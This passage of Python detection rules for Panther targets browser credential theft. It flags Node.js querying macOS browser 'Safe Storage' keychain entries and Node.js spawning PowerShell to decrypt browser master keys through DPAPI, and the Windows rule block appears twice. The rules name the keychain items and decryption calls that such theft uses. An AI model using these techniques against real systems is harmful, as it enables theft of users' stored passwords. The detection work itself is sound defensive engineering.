    "Brave Safe Storage",
    "Edge Safe Storage",
    "Vivaldi Safe Storage",
    "Opera Safe Storage",
}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    if event.get("event_platform", "") != "Mac":
        return False
    # ImageFileName is the full path on macOS — match on the basename /usr/bin/security
    image = event.deep_get("event", "ImageFileName", default="")
    if not image.endswith("/security"):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    if "find-generic-password" not in command_line:
        return False
    # ParentBaseFileName is a basename (no path separators)
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    if parent != "node":
        return False
    return any(name in command_line for name in BROWSER_SAFE_STORAGE_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    browser = next(
        (name.replace(" Safe Storage", "") for name in BROWSER_SAFE_STORAGE_NAMES if name in cmd),
        "unknown",
    )
    return f"Node.js accessed [{browser}] Keychain on [{host}]"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule 6 — Node.js Spawning PowerShell for DPAPI Decryption (Windows)

Detects the ldbScript Windows credential theft path: Node.js spawning ephemeral PowerShell scripts that call ProtectedData.Unprotect() to decrypt browser master keys via DPAPI.

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1555.003 — Credentials from Web Browsers
# Severity: Critical

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    if event.get("event_platform", "") != "Win":
        return False
    image = event.deep_get("event", "ImageFileName", default="").lower()
    if "powershell" not in image:
        return False
    # ParentBaseFileName is a basename — check both macOS and Windows variants
    parent = event.deep_get("event", "ParentBaseFileName", default="").lower()
    if parent not in ("node", "node.exe"):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    return "ProtectedData" in command_line or "Unprotect" in command_line

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return f"Node.js spawned PowerShell DPAPI decryption on [{host}]"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1555.003 — Credentials from Web Browsers
# Severity: Critical

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    if event.get("event_platform", "") != "Win":
        return False
    image = event.deep_get("event", "ImageFileName", default="").lower()
    if "powershell" not in image:
        return False
    # ParentBaseFileName is a basename — check both macOS and Windows variants
    parent = event.deep_get("event", "ParentBaseFileName", default="").lower()
    if parent not in ("node", "node.exe"):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    return "ProtectedData" in command_line or "Unprotect" in command_line

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return f"Node.js spawned PowerShell DPAPI decryption on [{host}]"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)